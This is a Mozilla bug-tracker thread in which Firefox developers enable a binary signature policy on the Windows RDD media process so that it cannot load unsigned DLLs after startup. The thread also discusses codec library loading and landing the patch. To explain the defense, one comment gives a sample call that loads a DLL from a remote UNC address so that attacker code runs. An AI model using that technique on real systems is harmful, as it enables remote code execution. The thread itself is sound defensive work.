1563774 - Enable Code Integrity Guard on RDD Process

Status: RESOLVED FIXED

(Core :: Security: Process Sandboxing, defect, P1)

Description

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Currently, we enable ACG - which prevents an attacker from creating executable memory. But we forgot to enable Code Integrity Guard - which restricts what dlls can be loaded into the process.

Without this mitigation, an attacker can just LoadLibrary a malicious dll and execute their code. (And unless we have that other mitigation I forget - and I think we don't - that load can be over an internet-UNC path.)

Comment 1

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Whoops. CIG is specified before process start, we need binary signature policy which is at runtime. Unsurprisingly this doesn't work if we set it as a 'Mitigation' - we need to set it as a 'DelayedMitigation' at which point it seems to be fine.

Comment 2

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Attachment: Bug 1563774 - Enable Binary Signature Policy on the RDD process r?bobowen

Comment 3

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

https://treeherder.mozilla.org/#/jobs?repo=try&revision=822521e43779ada3cca209a04b476b4403b64c06

Comment 4

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

See Also 1378417, but don't want to link it until this bug is public.

Comment 5

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Media folks - wanted to ping you about this. We'd like to enable a sandboxing feature that will restrict the RDD process from loading any non-MS signed dlls after startup. This prevents an attacker from loading a malicious dll in the process and running arbitrary code.

Do you have any plans to load other dlls in the process lazily? If so, could we convert those lazy loads into during-startup loads?

Comment 6

[Jean-Yves Avenard [:jya]]

(In reply to Tom Ritter [:tjr] from comment #5)

Media folks - wanted to ping you about this. We'd like to enable a sandboxing feature that will restrict the RDD process from loading any non-MS signed dlls after startup. This prevents an attacker from loading a malicious dll in the process and running arbitrary code.

Do you have any plans to load other dlls in the process lazily? If so, could we convert those lazy loads into during-startup loads?

On non-Linux/Unix platform, the only library we will load dynamically is the libmozavcodec and libmozavutil that we ship. We do so due to LGPL content. No other libraries will be loaded dynamically.

On Linux (which isn't relevant to this bug) we will load the system ffmpeg libs which may load plenty other system libs.

The point of the RDD was that running arbitrary code wouldn't matter. So I'm not sure on how preventing to load non-MS signed lib will help TBH.

Comment 7

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

(In reply to Jean-Yves Avenard [:jya] from comment #6)

The point of the RDD was that running arbitrary code wouldn't matter. So I'm not sure on how preventing to load non-MS signed lib will help TBH.

Defense in depth. If there's a media codec bug and an attacker actually exploits it; we have a really good sandbox to contain the badness they can do. But no sandbox is perfect: there are kernel bugs even outside win32k.sys (which we block) and in theory they might be able to exploit another process over IPC.

So we try to make it difficult for the attacker to go from 'bug' to 'arbitrary code'. ACG prevents the attacker from mapping a memory page as executable so they can't write code into memory, make it executable, and jump to it. But the way around that is to LoadLibrary("\255.100.40.8\foo.dll") (that is, load an internet accessible, or even a force-downloaded local dll) that runs code upon load. Binary Signature Policy prevents this avenue.

Comment 8

[Bob Owen (:bobowen)]

(In reply to Jean-Yves Avenard [:jya] from comment #6)

(In reply to Tom Ritter [:tjr] from comment #5)

Media folks - wanted to ping you about this. We'd like to enable a sandboxing feature that will restrict the RDD process from loading any non-MS signed dlls after startup. This prevents an attacker from loading a malicious dll in the process and running arbitrary code.

Do you have any plans to load other dlls in the process lazily? If so, could we convert those lazy loads into during-startup loads?

On non-Linux/Unix platform, the only library we will load dynamically is the libmozavcodec and libmozavutil that we ship. We do so due to LGPL content. No other libraries will be loaded dynamically.

I think the two options would normally be as follows, but I suspect the Binary Signature Policy will block the second one:

• load the DLLs before we lower (start) the sandbox, this is probably OK because we have control over these DLLs and presumably can make sure they don't do anything as part of the DLL load.
• add the paths for any DLLs that we might want to load to GeckoChildProcessHost::mAllowedFilesRead, which then get added as sandbox policy rules. GMP does this for it's CDMs: https://searchfox.org/mozilla-central/rev/07f7390618692fa4f2a674a96b9b677df3a13450/dom/media/gmp/GMPProcessParent.cpp#87

Comment 9

[Bob Owen (:bobowen)]

Just noticed, while looking at something else, that the chromium devs appear to be trying to land a change [1] that allows DLLs to be loaded via the broker by proxying NtCreateSection.
Looks like they've had a couple of failed attempts, so far, but we could hopefully use this in the not too distant future.

[1] https://chromium.googlesource.com/chromium/src/+/7d5fe9400e09ea01becfe076b510dee6945a635f%5E%21/

Comment 10

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

(In reply to Jean-Yves Avenard [:jya] from comment #6)

On non-Linux/Unix platform, the only library we will load dynamically is the libmozavcodec and libmozavutil that we ship. We do so due to LGPL content. No other libraries will be loaded dynamically.

Presently, AIUI the RDD process doesn't load these though, because it only does Vorbis and AV1 right? What is the timeline for RDD starting to need these libraries?

It looks like we can land this today (and potentially uplift/backport) safely; but I don't want to land it right before someone lands something new in the RDD and mess up their timeline....

Comment 11

[Michael Froman [:mjf]]

Tom, we just landed Opus and Wav decoding on RDD (currently pref'd on only for macOS and Linux). Vorbis is not pref'd on for Windows yet because I'm trying to track down a mochitest shutdown failure when pref'd on.

The plan is to gradually move all decoders to RDD, but we don't have concrete timelines for remaining decoders.

Comment 12

[BugBot [:suhaib / :marco/ :calixte]]

The priority flag is not set for this bug.
:jimm, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 13

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Bob, can you re-review? Can we make it this simple?

Mike - I'm assuming you're okay with the RDD process loading these libraries today even if they're not needed? The alternative is we put this code in sometime later when you do actually need them: but the first time you try to use a function from these libraries on Windows you're probably going to get an inexplicable error and you'll have to remember "Oh yeah, I need to do this completely non-obvious thing..."

Comment 14

[Michael Froman [:mjf]]

Tom, yes loading them today is fine.

Comment 15

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

Okay another question, sorry Mike.

Presently, the dlls are loaded with the full path. However I think this is unnecessary because by default the first location searched is "The directory from which the application loaded." per this doc.

I have a hard time imagining where we might have a problem with this change but... users' computers are weird sometimes. So I wanted to get some sign-off on this change...

Comment 16

[Michael Froman [:mjf]]

(In reply to Tom Ritter [:tjr] from comment #15)

Okay another question, sorry Mike.

Presently, the dlls are loaded with the full path. However I think this is unnecessary because by default the first location searched is "The directory from which the application loaded." per this doc.

I have a hard time imagining where we might have a problem with this change but... users' computers are weird sometimes. So I wanted to get some sign-off on this change...

I'd never heard of those dlls until this bug, so I'll have to defer to jya on that one.

Comment 17

[Jean-Yves Avenard [:jya]]

LGTM

Comment 18

[Jean-Yves Avenard [:jya]]

Note that they aren't loaded yet. But will be once we move VP8, FLAC, VP9 and soon MP3 decoding into the RDD

Comment 19

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/integration/autoland/rev/8db0868227e62019577296789fea5952810fe7c0

Comment 20

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/8db0868227e6

Comment 21

[Tom Ritter [:tjr] (OOTO until 4/30 at least)]

I thought about requesting uplift on this, but I think it's more appropriate to let it ride the trains and watch for breakage.